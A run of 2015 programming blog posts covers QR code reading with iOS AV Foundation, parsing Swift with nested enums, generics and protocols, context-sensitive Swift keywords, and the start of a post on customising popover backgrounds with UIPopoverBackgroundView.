Just An Application

November 15, 2015

Reading QR Codes using the iOS AV Foundation Framework: Prerequisites

Having discovered that one of my iOS applications just maybe needed to be able to read a QR code I was pleased to discover that from iOS 7.0 onwards it is possible to do so using the AV Foundation framework.

There was little bit of trial and error involved in working out how to do set up but after that it “just worked” as they say

1.0 A Session

The first thing we need is a session

    let session = AVCaptureSession()

2.0 An Input

An AVCaptureSession needs an input, an instance of AVCaptureInput, from which to capture things.

In our case we need the input from a camera which, in the context of the AV Foundation framework, is a kind of AVCaptureDevice associaed with the media type

    AVMediaTypeVideo

We can obtain the default device for capturing a given media type by calling the AVCaptureDevice method

    class func defaultDeviceWithMediaType(_ mediaType: String!) -> AVCaptureDevice!

or, alternatively, all the devices capable of capturing a given media type by calling the AVCaptureDevice method

    class func devicesWithMediaType(_ mediaType: String!) -> [AnyObject]!

Using the first method we can do

    ...
    
    if let device = AVCaptureDevice.defaultDeviceWithMediaType(AVMediaTypeVideo)
    {
       ...
    }

    ...

On an iPad or an iPhone running iOS 9.0 this returns the ‘back camera’.

If we want to ensure that we get the ‘back camera’, rather than just hoping we do, we can do

    ...
    
    if let objects = AVCaptureDevice.devicesWithMediaType(AVMediaTypeVideo)
    {
        for device in objects
        {
            if device.position == .Back
            {
                ...
            }
        }
    }
    
    ...

Once we have our desired device we can contruct an instance of AVCaptureDeviceInput which is a sub-class of AVCaptureInput

    let input = try AVCaptureDeviceInput(device:device)

amd then add it to the session

    session.addInput(input)

3,0 An Output

To identify the QR code(s) if any, in the input from the camera we need an instance of the class AVCaptureMetadataOutput.

    let output = AVCaptureMetadataOutput()

We can then add this to the session as an output.

    session.addOutput(output)

An AVCaptureMetadataOutput object is capable of recognizing more than just QR codes.

To find out exactly what we can access the availableMetadataObjectTypes property.

On an iPad running iOS 9.0 the following code

    ...
    
    for o in output.availableMetadataObjectTypes
    {
        print(o)
    }
    
    ...

produces this output

    ...

    org.iso.Aztec
    org.iso.Code128
    org.iso.Code39
    org.iso.Code39Mod43
    com.intermec.Code93
    org.iso.DataMatrix
    org.gs1.EAN-13
    org.gs1.EAN-8
    org.ansi.Interleaved2of5
    org.gs1.ITF14
    org.iso.PDF417
    org.iso.QRCode
    org.gs1.UPC-E
    face
    
    ...

and on an iPhone running iOS 9.0 this output

    ...

    face
    org.iso.Aztec
    org.iso.Code128
    org.iso.Code39
    org.iso.Code39Mod43
    com.intermec.Code93
    org.iso.DataMatrix
    org.gs1.EAN-13
    org.gs1.EAN-8
    org.ansi.Interleaved2of5
    org.gs1.ITF14
    org.iso.PDF417
    org.iso.QRCode
    org.gs1.UPC-E

    ...

To specify that we are only interested in QR codes we can set the metadataObjectTypes property.

    output.metadataObjectTypes = [AVMetadataObjectTypeQRCode]

Note

In the AVCaptureMetadataOutput case the order in which the input and output are added is significant.

If it is added before the camera input then the availableMetadataTypes property is simply an empty array and attempting to set the metadataTypes property will result in an NSInvalidArgumentException being thrown.

4.0 A Delegate

An AVCaptureMetadataOutput object passes metadata objects obtained from the input to a delegate which is required to implement the AVCaptureMetadataOutputObjectsDelegate protocol.

The AVCaptureMetadataOutputObjectsDelegate protocol defines a single method

    optional func captureOutput(
                      _
                          captureOutput:
                              AVCaptureOutput!,
                      didOutputMetadataObjects
                          metadataObjects:
                              [AnyObject]!,
                      fromConnection
                          connection:
                              AVCaptureConnection!)

Each element of the array passed as the metadataObjects argument is an instance of a sub-class of the class AVMetadataObect.

In the case of a QR code the element will be an instance of the class AVMetadataMachineReadableCodeObject.

The value of the stringValue property of an instance of AVMetadataMachineReadableCodeObject is a human readable version of, in this case, the QR code.

    func captureOutput(
             captureOutput:
                 AVCaptureOutput!,
             didOutputMetadataObjects
                 metadataObjects: [AnyObject]!,
             fromConnection
                 connection:
                    AVCaptureConnection!)
    {
        for metadataObject in metadataObjects
        {
            if metadataObject.type == AVMetadataObjectTypeQRCode
            {
                let value = metadataObject.stringValue
                
                ...
            }
        }
    }

The delegate for an AVCaptureMetadataOutput object can be set using the method

    public func setMetadataObjectsDelegate(
                    objectsDelegate:
                        AVCaptureMetadataOutputObjectsDelegate!,
                    queue
                        objectsCallbackQueue:
                            dispatch_queue_t!)

The queue argument specifies the dispatch queue on which the delegate's method will be invoked.


Copyright (c) 2015 By Simon Lewis. All Rights Reserved.

Unauthorized use and/or duplication of this material without express and written permission from this blog's author and owner Simon Lewis is strictly prohibited.

Excerpts and links may be used, provided that full and clear credit is given to Simon Lewis and justanapplication.wordpress.com with appropriate and specific direction to the original content.

September 10, 2015

Swift Miscellany: Too Many Switches — The Case Of The Nested Enums

At the lexical level Swift code comprises five token types

  • identifiers

  • keywords

  • literals

  • operators

  • punctuation

seperated by whitespace, so a Swift token can be represented quite nicely by an enum.

    enum Token
    {
        case IDENTIFIER
        case KEYWORD
        case LITERAL
        case OPERATOR
        case PUNCTUATION
    }

The token type on its own is not use much use.

In each case we also need the associated value which, because its Swift, we can store in the enum as well.

    enum Token
    {
        case IDENTIFIER(Identifier)
        case KEYWORD(Keyword)
        case LITERAL(Literal)
        case OPERATOR(Operator)
        case PUNCTUATION(Punctuation)
    }

The types of the associated values are also best represented as enums, for example,

    enum Keyword: String
    {
        case AS             = "as"
        case ASSOCIATIVITY  = "associativity"
    
        case BREAK          = "break"
    
        case CASE           = "case"
        case CATCH          = "catch"
        case CLASS          = "class"
        case CONTINUE       = "continue"
        case CONVENIENCE    = "convenience"
    
        ...
    
        case WEAK           = "weak"
        case WHERE          = "where"
        case WHILE          = "while"
        case WILL_SET       = "willSet"
    }
    enum Punctuation: String
    {
        case AMPERSAND              = "&"
        case ARROW                  = "->"
        case AT                     = "@"
    
        case COLON                  = ":"
        case COMMA                  = ","
    
        case DOT                    = "."
    
        ...
        
        case LEFT_PAREN             = "("
        case RIGHT_PAREN            = ")"
    }

Now we have a 'nested enum' which is all very interesting but how do you use it ?

Parsing A Swift Pattern

This is the Swift grammar for a pattern

    patternwildcard-pattern type-annotationopt 
    patternidentifier-pattern type-annotationopt 
    patternvalue-binding-pattern 
    patterntuple-pattern type-annotationopt 
    patternenum-case-pattern 
    patternoptional-pattern 
    patterntype-casting-pattern 
    patternexpression-pattern 

and these are the grammars for the various types of pattern

    wildcard-pattern_ 
    identifier-patternidentifier 
    value-binding-patternvar pattern | let pattern 
    tuple-pattern( tuple-pattern-element-listopt ) 
    enum-case-patterntype-identifieropt . enum-case-name tuple-patternopt 
    optional-patternidentifier-pattern ?
    type-casting-patternis-pattern | as-pattern
    is-patternis type 
    as-patternpattern  as type 
    expression-patternexpression

A pattern can start with an indentifier, a keyword, punctuation, or anything an expression can start with which adds operators so we now have a full-house.

To parse a pattern given a token we need to identify the token type and then for each type identify whether it can start a pattern.

To identify the token type given the enum token representation above we can use a switch.

    func parse() throws -> Pattern
    {
        let pattern : Pattern
    
        switch peek()
        {
            case .IDENTIFIER:
    
                pattern = ????
    
            case .KEYWORD:
    
                pattern = ????
    
            case .PUNCTUATION:
    
                pattern = ????
    
            default:
    
                pattern = try expression()
        }
        return pattern
    }

That won't work as is because in the keyword or punctuation case we need to know what the actual keyword or punctuation is.

We can fix this by binding the associated values in those cases.

    func parse() throws -> Pattern
    {
        let pattern : Pattern
    
        switch peek()
        {
            case let .IDENTIFIER:
    
                pattern = ????
    
            case let .KEYWORD(keyword):
    
                pattern = ????
    
            case let .PUNCTUATION(punctuation):
    
                pattern = ????
    
            default:
    
                pattern = try expression()
        }
        return pattern
    }

Now we can see whether we have the 'right kind' of keyword or punctuation.

In case case we have another enum so we can use a switch.

    func parse() throws -> Pattern
    {
        let pattern : Pattern
    
        switch peek()
        {
            case .IDENTIFIER:
    
                pattern = ????
    
            case let .KEYWORD(keyword):
    
                switch keyword
                {
                    case .IS:
    
                        pattern = try isPattern()
    
                    case .LET:
    
                        pattern = try valueBindingPattern()
                        
                    case .UNDERSCORE:
                    
                        pattern = try wilcardPattern()
    
                    case .VAR:
    
                        pattern = try valueBindingPattern()
    
                    default:
    
                        pattern = try expression()
                }
    
            case let .PUNCTUATION(punctuation):
    
                switch punctuation
                {
                    case .DOT:
    
                        pattern = try enumCasePattern()
    
                    case .LEFT_PAREN:
    
                        pattern = try tuplePattern()
    
                    default:
    
                        pattern = try expression()
                }
    
            default:
    
                pattern = try expression()
        }
        return pattern
    }

Now we've got a bit of a mess really. Lets just hope they don't add any more pattern types. Maybe nested enums are not such a great idea after all.

In fact nested enums are a perfectly fine idea. The reason its a bit of a mess is the nested switches, but nested enums do not require nested switches. We, in this case I, have simply been doing it wrong.

A Closer Look At Patterns

Of the eight patterns in the grammar shown above, the switch in the last version of the method uses two

The case

    case .IDENTIFIER:

uses the simplest form of an enum-case-pattern

    . enum-case-name

The other two cases

    case let .KEYWORD(keyword):

and

    case let .PUNCTUATION(punctuation):

use the let form of a value-binding-pattern.

A value-binding-pattern is simply a pattern prefixed by either of the keywords let or var.

The prefixed pattern in each case is another example of an enum-case-pattern.

This time the optional tuple-pattern suffix element is present.

A tuple-pattern is a tuple-pattern-element-list delimited by parentheses.

This is the grammar for a tuple-pattern-element-list

    tuple-pattern-element-listtuple-pattern-element | tuple-pattern-element , tuple-pattern-element-list
    tuple-pattern-elementpattern

A tuple-pattern is a parentheses delimited list of comma separated patterns.

In the two cases above there is only one pattern in the list and that is an identifier-pattern.

According to the grammar there can be any number of patterns and the patterns are not limited to identifier-patterns.

At this point it is worth mentioning that the grammar as given in the Swift language reference is not always entirely accurate.

In the case of a value-binding-pattern it would imply that you could write this

    case let let .KEYWORD(keyword):

which you cannot.

Nor can you write this

    case let .KEYWORD(let keyword):

although you can write

    case .KEYWORD(let keyword):

In short, value-binding-patterns are not recursive whatever the grammar might say.

On the other hand, enum-case-patterns are recursive which means that you can write this

    case .KEYWORD(.IS):

which means that the method above can be rewritten more succinctly like so

    func parse() throws -> Pattern
    {
        let pattern : Pattern
    
        switch peek()
        {
            case .IDENTIFIER:
    
                pattern = try identifierOrEnum()
    
            case .KEYWORD(.IS):
    
                pattern = try isPattern()
    
            case .KEYWORD(.LET):
    
                pattern = try valueBindingPattern(.LET)
    
            case .KEYWORD(.UNDERSCORE):
    
                pattern = try wildcardPattern()
    
            case .KEYWORD(.VAR):
    
                pattern = try valueBindingPattern(.VAR)
    
            case .PUNCTUATION(.DOT):
    
                pattern = try enumCasePattern()
    
            case .PUNCTUATION(.LEFT_PAREN):
    
                pattern = try tuplePattern()
    
            default: // expression
    
                pattern = try expression()
        }
        if peek(.AS)
        {
            return try asPattern(pattern)
        }
        else
        {
            return pattern
        }
    }

There is no need for nested switches because we can use nested patterns instead.


Copyright (c) 2015 By Simon Lewis. All Rights Reserved.

Unauthorized use and/or duplication of this material without express and written permission from this blog's author and owner Simon Lewis is strictly prohibited.

Excerpts and links may be used, provided that full and clear credit is given to Simon Lewis and justanapplication.wordpress.com with appropriate and specific direction to the original content.

September 9, 2015

Swift Miscellany: Keywords, Reserved And Escaped

There are a fair few keywords in Swift 2.0, I think we’re up to around about seventy-five at the moment, but it wasn’t until I started rummaging around in the grammar that I discovered that some of them are context senstive.

The context sensitive keywords are those which are used in only one specific context and most of the declaration modifiers

Infix Operator Declaration

  • associativity

  • left

  • none

  • precedence

  • right

are reserved keywords in the context of an infix-operator-declaration.

    infix-operator-declaration infix operator operator { infix-operator-attributesopt }
    infix-operator-attributes precedence-clauseopt associativity-clauseopt
    precedence-clause precedence precedence-level
    associativity-clause associativity associativity
    associativity left | right | none

Computed Properties/Variables

  • get

and

  • set

are reserved keywords in the context of a computed property/variable declaration.

    variable-declarationvariable-declaration-head variable-name type-annotation getter-setter-block
    getter-setter-block{ getter-clause setter-clauseopt }
    getter-setter-block{ setter-clause getter-clause }
    getter-clauseattributesopt get code-block
    setter-clauseattributesopt set setter-nameopt code-block

Property/Variable Observers

  • didSet

and

  • willSet

are keywords in the context of a stored variable observer declaration or a property observer declaration

    variable-declarationvariable-declaration-head variable-name initializer willSet-didSet-block
    variable-declarationvariable-declaration-head variable-name type-annotation initializeropt willSet-didSet-block
    willSet-didSet-block{ willSet-clause didSet-clauseopt }
    willSet-didSet-block{ didSet-clause willSet-clauseopt }
    willSet-clauseattributesopt willSet setter-nameopt code-block
    didSet-clauseattributesopt didSet setter-nameopt code-block

Metatype Type

  • Protocol

and

  • Type

are keywords in the context of a metatype-type

    metatype-typetype  . Type | type  . Protocol 

Declaration Modifiers

  • convenience

  • dynamic

  • final

  • infix

  • indirect

  • lazy

  • mutating

  • nonmutating

  • optional

  • override

  • postfix

  • prefix

  • required

  • unowned

  • weak

are reserved keywords when they appear before a declaration.

When not being used in their specific contexts reserved keywords can moonlight as identifiers which means that you can, if you want to, do this

    ...
    
    private var final    = true
    private var left     = true
    private var optional = true
    private var override = false
    private var required = true
    private var right    = false
    private var set      = true
    private var unowned  = true
    private var weak     = false
    
    ...

or this

    enum associativity
    {
        case left
        case right
        case none
    }

or even this

    func infix()
    {
    
    }

Escaped Keywords

If your favourite identifier is a non-reserved Swift keyword there is still hope.

Any Swift keyword can be used as an identifier if it is escaped, so if you have always wanted a class called class

    class `class`
    {
    
    }

or a global variable called self

    var `self` = `class`()

you can have one.

The escape character is the grave accent/backtick/backquote character (`) ASCII 96/0x60.


Copyright (c) 2015 By Simon Lewis. All Rights Reserved.

Unauthorized use and/or duplication of this material without express and written permission from this blog’s author and owner Simon Lewis is strictly prohibited.

Excerpts and links may be used, provided that full and clear credit is given to Simon Lewis and justanapplication.wordpress.com with appropriate and specific direction to the original content.

Swift Miscellany: More Parsing With Generics And Protocols

Having stumbled upon my new, at least to me, idiom I was curious whether it could be used as the basis for a complete parser.

The answer seems to be yes.

With a handful of protocols and generic methods it is possible to write a basic parser for Swift which is at least capable of parsing itself.

Protocols

Parsable

    protocol Parsable
    {
        typealias ParserType: ElementParser

        static var parserType: ParserType.Type { get }
    }
    protocol ElementParser
    {
        typealias ElementType
    
        init(context:ParserContext, tokens:TokenStream)
    
        func parse() throws -> ElementType
    }

A type is parsable if it has an associated ElementParser type

Element

    protocol Element: Parsable
    {
    }

An Element is a non-terminal which appears exactly once in a grammar production.

A condition-clause is an example of an Element.

It appears exactly once, for example, in a guard-statement

    guard-statement -> guard condition-clause else code-block

or a while-statement

    while-statement -> while condition-clause code-block

OptionalElement

    protocol OptionalElement
    {
        typealias ParserType: OptionalElementParser
    
        static var parserType: ParserType.Type { get }
    }
    protocol OptionalElementParser: ElementParser
    {
        func elementIsPresent() -> Bool
    }

An OptionalElement is a non-terminal which may appear exactly once or not at all in a grammar production.

A generic-parameter-clause

    generic-parameter-clause< generic-parameter-list requirement-clauseopt >

and a type-inheritance-clause

    type-inheritance-clause: class-requirement , type-inheritance-list
    
    type-inheritance-clause: class-requirement
    
    type-inheritance-clause: type-inheritance-list

are both examples of an OptionalElement.

They may both appear, or not appear, in a class-declaration

    class-declarationattributesopt access-level-modifieropt class class-name generic-parameter-clauseopt type-inheritance-clauseopt class-body

an enum-declaration

    enum-declarationattributesopt access-level-modifieropt union-style-enum
    enum-declarationattributesopt access-level-modifieropt raw-value-style-enum
    union-style-enumindirectopt enum enum-name generic-parameter-clauseopt type-inheritance-clauseopt { union-style-enum-membersopt }
    raw-value-style-enumenum enum-name generic-parameter-clauseopt type-inheritance-clauseopt { raw-value-style-enum-members }

or a struct-declaration

    struct-declarationattributesopt access-level-modifieropt struct class-name generic-parameter-clauseopt type-inheritance-clauseopt struct-body

A generic-parameter-clause may also appear, or not appear, in a function-declaration

    function-declarationfunction-head function-name generic-parameter-clauseopt function-signature function-bodyopt 

or an initializer declaration

    initializer-declarationinitializer-head generic-parameter-clauseopt parameter-clause throwsopt initializer-body 
    initializer-declarationinitializer-head generic-parameter-clauseopt parameter-clause rethrows initializer-body 

A type-inheritance-clause may also appear in an extension-declaration

    extension-declarationaccess-level-modifieropt extension type-identifier type-inheritance-clauseopt extension-body 

A type-annotation is a third example of an OptionalElement

    type-annotation: attributesopt type 

A type-annotation is optional in a constant declaration or a variable declaration, but it is required in a parameter, so the type TypeAnnotation is declared as both an Element and an OptionalElement.

    extension TypeAnnotation: Element, OptionalElement
    {
        static let parserType = TypeAnnotationParser.self
    }

RepeatableElement

    protocol RepeatableElement: Parsable
    {
    }

A RepeatableElement is a non-terminal which can appear one or more times in a grammar production. If it appears more than once then there is a separator between each occurence.

A condition is an example of a RepeatableElement.

    conditionavailability-condition | case-condition | optional-binding-condition 

It can appear one or more times in a condition-list.

    condition-listcondition | condition , condition-list

If there are multiple occurences then they are separated by commas

BlockElement

    protocol BlockElement: Parsable
    {
    }

A BlockElement is a non-terminal that can appear zero or more times in a grammer production, delimited by left and right braces and with no separators.

A statement is a BlockElement.

Zero or more statements can appear in a code-block

    statementsstatement statementsopt
    code-block{ statementsopt }

A declaration is also a BlockElement.

Zero or more declarations can appear in the body of a class or struct declaration

    declarationsdeclaration declarationsopt
    class-body{ declarationsopt }
    struct-body{ declarationsopt }

Both declarations and statements are also Elements since they can appear outside blocks.

Statements, for example, can appear in a switch-case

Declarations can appear anywhere in an enum-declaration.

The Declaration and Statement types are therefore declared to implement both the BlockElement and the Element protocols.

    extension Declaration: BlockElement, Element
    {
        static let parserType = DeclarationParser.self
    }
    extension Statement: BlockElement, Element
    {
        static let parserType = StatementParser.self
    }

Generic Methods

The following methods are defined on the class Parser which is the base class for the various element parsers.

element<E:Element … >

    final func element<E:Element where E.ParserType.ElementType == E>(eType:E.Type) throws -> E
    {
        let parser = eType.parserType.init(context:context, tokens: tokens)
    
        return try parser.parse()
    }

The element method takes a type which implements the Element protocol and returns an instance of that type.

optional<O:OptionalElement … >

    final func optional<O:OptionalElement where O.ParserType.ElementType == O>(oType:O.Type) throws -> O?
    {
        let parser = oType.parserType.init(context:context, tokens: tokens)
    
        if parser.elementIsPresent()
        {
            return try parser.parse()
        }
        else
        {
            return nil
        }
    }

The optional method takes a type which implements the OptionalElement protocol and returns an instance of that type or nil if the element is not present.

elements<R:RepeatableElement …>

     final func elements
        <
            R:RepeatableElement where R.ParserType.ElementType == R
        >
        (rType:R.Type, _ separator:Punctuation = .COMMA) throws -> [R]
        {
            let parser   = rType.parserType.init(context:context, tokens: tokens)
            var elements = [try parser.parse()]
        
            while peek(separator)
            {
                assertNext(separator)
                elements.append(try parser.parse())
            }
            return elements
        }

The elements method takes a type which implements the RepeatableElement protocol and returns an array of one or more instances of that type.

The method takes a second argument which specifies the separator.

By default the separator is defined to be a comma, but specifying a dot instead means it is also possible to use the method to parse, for example, an import-path

    import-pathimport-path-identifier | import-path-identifier . import-path 

or a type-identifier

    type-identifiertype-name generic-argument-clauseopt| type-name generic-argument-clauseopt. type-identifier 

elements<O:OptionalElement …>

    final func elements<O:OptionalElement where O.ParserType.ElementType == O>(oType:O.Type) throws -> [O]?
    {
        let parser = oType.parserType.init(context:context, tokens: tokens)
    
        if parser.elementIsPresent()
        {
            var elements = [O]()
    
            while parser.elementIsPresent()
            {
                elements.append(try parser.parse())
            }
            return elements
        }
        else
        {
            return nil
        }
    }

The elements method takes a type which implements the OptionalElement protocol and returns an array of one or more instances of that type or nil.

block<B:BlockElement …>

    final func block<B:BlockElement where B.ParserType.ElementType == B>(bType:B.Type) throws -> [B]
    {
        try next(.LEFT_BRACE)
    
        let parser   = bType.parserType.init(context:context, tokens: tokens)
        var elements = [B]()
    
        while !peek(.RIGHT_BRACE)
        {
            elements.append(try parser.parse())
        }
        assertNext(.RIGHT_BRACE)
        return elements
    }

The block method takes a type which implements the BlockElement protocol and returns an array of zero or more instances of that type or nil.

Examples

Class Declaration

    final class ClassDeclarationParser: Parser
    {
        func parse() throws -> Class
        {
            assertNext(.CLASS)
    
            let name  = try identifier()
            let gpc   = try optional(GenericParameterClause.self)
            let tic   = try optional(TypeInheritanceClause.self)
    
            pushContext(DeclarationContext())
    
            let decls = try block(Declaration.self)
    
            popContext()
    
            if gpc == nil
            {
                return .CLASS(name, tic, decls)
            }
            else
            {
                return .GENERIC_CLASS(name, gpc!, tic, decls)
            }
        }
    }

Extension Declaration

    final class ExtensionDeclarationParser: Parser
    {
        func parse() throws -> Extension
        {
            assertNext(.EXTENSION)
    
            let typeIdentifier  = try element(TypeIdentifier.self)
            let typeInheritance = try optional(TypeInheritanceClause.self)
            let body            = try block(Declaration.self)
    
            return
                Extension(
                    typeId:
                        typeIdentifier,
                    typeInheritance:
                        typeInheritance,
                    declarations:
                        body)
        }
    }

This method would be even simpler if Swift guarantees that arguments are evaluated left-to-right but I’ve not been able to find anything to that effect as yet.

Guard Statement

    final class GuardStatementParser: Parser
    {
        func parse() throws -> Guard
        {
            assertNext(.GUARD)
    
            let condition = try element(ConditionClause.self)
    
            try next(.ELSE)
    
            let codeBlock = try block(Statement.self)
    
            return Guard(condition: condition, codeBlock:codeBlock)
        }
    }

While Statement

    final class WhileStatementParser: Parser
    {
        func parse() throws -> While
        {
            assertNext(.WHILE)
    
            let condition = try element(ConditionClause.self)
            let codeBlock = try block(Statement.self)
    
            return While(condition:condition, codeBlock:codeBlock)
        }
    }

Type Annotation

    final class TypeAnnotationParser: Parser, OptionalElementParser
    {
        func elementIsPresent() -> Bool
        {
            return peek(.COLON)
        }
    
        func parse() throws -> TypeAnnotation
        {
            assertNext(.COLON)
    
            let attributes = try elements(Attribute.self)
            let type       = try element(Type.self)
    
            if attributes == nil
            {
                return .TYPE(type)
            }
            else
            {
                return .ATTRIBUTED_TYPE(attributes!, type)
            }
        }
    }

Copyright (c) 2015 By Simon Lewis. All Rights Reserved.

Unauthorized use and/or duplication of this material without express and written permission from this blog’s author and owner Simon Lewis is strictly prohibited.

Excerpts and links may be used, provided that full and clear credit is given to Simon Lewis and justanapplication.wordpress.com with appropriate and specific direction to the original content.

August 25, 2015

Swift Miscellany: Parsing With Generics And Protocols

The pseudo-code to parse a parenthesis delimited comma separated list of homogeneous elements, such as this one

    tuple-pattern : '(' tuple-pattern-element-list? ')'
    
    tuple-pattern-element-list : tuple-pattern-element
                               | tuple-pattern-element ',' tuple-pattern-element-list

or this

    parenthesized-expression : '(' expression-element-list? ')'
    
    expression-element-list : expression-element
                            | expression-element ',' expression-element-list

looks something like this

    ...
    
    if next token != '('
    {
        error
    }
    
    initialize element list
    
    while peek token != ')'
    {
        element = try to parse element
        
        add element to element list
    }
    if next token != ')'
    {
        really bad error
    }
    return element list
    
    ...

The differences in each case will be the types of ‘element’ and ‘element list’ and exactly what is involved in parsing the element.

The number of times you get to write the actual code in practice will depend to a large extent on the programming language you are using.

Since Swift supports generics we should be able to get away with writing the actual code just once.

We can define a function with a signature something like this

    func list<T>(tokens:TokenStream, 'something to parse the element of type T') -> [T]?

One choice for the ‘something to parse the element of type T’ is another function.

The function is passed the tokens and it returns an instance of type T or nil if there was an error which gives us the signature

    (tokens:TokenStream) -> T?

which in turn gives us the function

    func list(tokens:TokenStream, parser:(tokens:TokenStream) -> T?)  -> [T]?
    {
        if !next(tokens, .LEFT_PAREN)
        {
            return nil
        }
    
        var elements = [T]()
    
        while !peek(tokens, .RIGHT_PAREN)
        {
            let element = parser(tokens:tokens)
    
            if element == nil
            {
                return nil
            }
    
            elements.append(element!)
    
            if !peek(tokens, .COMMA)
            {
                break
            }
            assertNext(tokens, .COMMA)
        }
        assertNext(tokens, .RIGHT_PAREN)
        return elements
    }

In Swift 2.0 we can make things simpler by dispensing with the returning nil on error convention.

    func list(tokens:TokenStream, parser:(tokens:TokenStream) throws -> T) throws  -> [T]
    {
        try next(tokens, .LEFT_PAREN)
    
        var elements = [T]()
    
        while !peek(tokens, .RIGHT_PAREN)
        {
            elements.append(try parser(tokens:tokens))
    
            if !peek(tokens, .COMMA)
            {
                break
            }
            assertNext(tokens, .COMMA)
        }
        assertNext(tokens, .RIGHT_PAREN)
        return elements
    }

Taking A Slightly More Object-oriented Approach

For practical or ideological reasons we might want to use an ‘object’ or ‘objects’ to do the parsing rather than functions.

In this case we might want to pass an instance of a type capable of doing the parsing of the element rather than using one these old-fangled closure thingys.

For the method, as it now is, to remain generic one possibility would be to pass an instance of a generic class in which case the function signature would look something like this

    func list<T>(parser:GenericListElementParser<T>) throws -> [T]

This is pretty straightforward but not that flexible.

The original function could take any function, method, or closure with the right signature, but in this case any object passed would either have to an instance of the generic class itself or a sub-class of it.

It might be better if we could define a protocol which the object must implement but there seems to be a problem.

    protocol ListElementParser
    {
        func parse() throws -> ????
    }

How do we define the return type of the method the object must implement ?

Unlike classes, enums and structs, protocol definitions cannot have a generic argument clause so how do we define the return type ?

The answer is to define an ‘associated type’ that can then be referenced in subsequent declarations in the protocol

    protocol ListElementParser
    {
        typealias ElementType
        
        func parse() throws -> ElementType
    }

For each type that implements the protocol ListElementParser, for example

    final class ExpressionElementParser: ListElementParser
    {
        func parse() throws -> ExpressionElement
        {
            ...
        }
    }

the concrete type corresponding to ElementType is inferred from the declaration of the parse method.

The function signature now has to be generic in the argument type and the return type but what does the constraint look like ?

    func list<????>(parser:P) throws -> T

It has to include both P and T, and we have to constrain the type P to implement the ListElementParser.

The constraint on the the type P can be expressed like this

    P:ListElementParser

so how about

    func list<P:ListElementParser, T>(p:P) throws -> [T]
    {
        try next(.LEFT_PAREN)
    
        var elements = [T]()
    
        while !peek(.RIGHT_PAREN)
        {
            elements.append(try p.parse())
    
            if !peek(.COMMA)
            {
                break
            }
            assertNext(.COMMA)
        }
        assertNext(.RIGHT_PAREN)
        return elements
    }

Nope, the compiler is having none of it.

It states, not unreasonably

    Cannot invoke 'append' with an argument list of type '(P.ElementType)'

Just plonking the T in the generic argument list tells the compiler nothing.

We have to relate the type T to the type ElementType being returned from the call to the parse method.

Fortunately there is a place in the generic parameter list where we can put requirements like this.

The requirement we have is that

the type ElementType of the ListElementParser type is the same as the type T

which in generic parameter clause requirements speak can be expressed very simply

    P.ElementType == T

We can add this to the generic parameter clause in the ‘requirements section’ and the compiler is happy.

    func list<P:ListElementParser, T where P.ElementType == T>(p:P) throws -> [T]
    {
        try next(.LEFT_PAREN)
    
        var elements = [T]()
    
        while !peek(.RIGHT_PAREN)
        {
            elements.append(try p.parse())
    
            if !peek(.COMMA)
            {
                break
            }
            assertNext(.COMMA)
        }
        assertNext(.RIGHT_PAREN)
        return elements
    }

An Incremental Improvement

To use the function we need to first construct an instance of the parser which is a pain if the only reason for constructing it is to pass it to the function.

Why can’t the function construct the parser itself ?

In Swift it can.

We need to change the function signature to take a type which implements ListElementParser.

    func list<P:ListElementParser, T where P.ElementType == T>(pType:P.Type) throws -> [T]

and we need to specify that the type implements the necessary constructor.

    protocol ListElementParser
    {
        typealias ElementType
    
        init(context:ParserContext, tokens:TokenStream)
    
        func parse() throws -> ElementType
    }

To construct an instance we simply do

    let parser = pType.init(context:context, tokens:tokens)

The function now looks like this

    func list<P:ListElementParser, T where P.ElementType == T>(pType:P.Type) throws -> [T]
    {
        try next(.LEFT_PAREN)
    
        let parser   = pType.init(context:context, tokens:tokens)
        var elements = [T]()
    
        while !peek(.RIGHT_PAREN)
        {
            elements.append(try parser.parse())
    
            if !peek(.COMMA)
            {
                break
            }
            assertNext(.COMMA)
        }
        assertNext(.RIGHT_PAREN)
        return elements
    }

To invoke the method we now pass the type of the parser

    try list(ExpressionElementParser.self)

Another Incremental Improvement

Now it is no longer necessary to contruct an instance of the parser for type T but it is still necessary to know what the type of parser is.

It would be simpler if it was possible to simply pass the type of T and decouple the caller from the details of how T‘s get parsed.

We can also do this.

To do so we need another protocol.

    protocol ListElement
    {
        typealias ParserType: ListElementParser
    
        static var parserType : ParserType.Type { get }
    }

and the method now looks like this

    func list<T:ListElement where T.ParserType.ElementType == T>(tType:T.Type) throws -> [T]
    {
        try next(.LEFT_PAREN)
            
        let parser   = tType.parserType.init(context:context, tokens:tokens)
        var elements = [T]()
            
        while !peek(.RIGHT_PAREN)
        {
            elements.append(try parser.parse())
            
            if !peek(.COMMA)
            {
                break
            }
            assertNext(.COMMA)
        }
        assertNext(.RIGHT_PAREN)
        return elements
    }

For this to work in the ExpressionElementParser case the ExpressionElement type has to implement the ListElement protocol.

    enum ExpressionElement: ListElement
    {
        static let parserType = ExpressionElementParser.self
    
        //
    
        case EXPRESSION(Expression)
        case NAMED_EXPRESSION(String, Expression)
    }

Now we can simply pass the type of the elements in the list.

    try list(ExpressionElement.self)

Via the extension mechanism this approach can be made to work with any class, enum, or struct type.

Defining

    final class StringListElementParser: ListElementParser
    {
        init(context:ParserContext, tokens:TokenStream)
        {
            // ...
        }
    
        func parse() throws -> String
        {
            // ...
        }
    }

and

    extension String: ListElement
    {
        static let parserType = StringListElementParser.self
    }

means we can do

    try list(String.self)

Copyright (c) 2015 By Simon Lewis. All Rights Reserved.

Unauthorized use and/or duplication of this material without express and written permission from this blog’s author and owner Simon Lewis is strictly prohibited.

Excerpts and links may be used, provided that full and clear credit is given to Simon Lewis and justanapplication.wordpress.com with appropriate and specific direction to the original content.

August 24, 2015

Drawing Triangles For Fun And Profit, Or How To Make Your Popovers Stand Out From The Crowd

Filed under: iOS, Swift, UIKIt, UIPopoverBackgroundView — Tags: , , , — Simon Lewis @ 11:02 am

If have you have ever wanted to make the arrows of your popovers that little bit more ‘pointy’, or you have hankered after a co-respondent popover, for example

Popover

then help is at hand courtesy of the UIPopoverBackgroundView class.

The UIPopoverBackgroundView Class

The UIPopoverBackgroundView class defines two properties.

The arrowDirection Property

    var arrowDirection: UIPopoverArrowDirection

The documentation for this reads

The direction in which the popover arrow is pointing.

which is entirely obvious unless it is not.

A picture sometimes helps.

Arrows And Their Directions

UpDownLeftRight

The arrowOffset Property

    var arrowOffset: CGFloat

The documentation uses a lot of words to explain this.

Here are some pictures instead

Offset For Vertical Arrows

VerticalOffsets

Offset For Horizontal Arrows

HorizontalOffsets

The UIPopoverBackgroundViewMethods Protocol

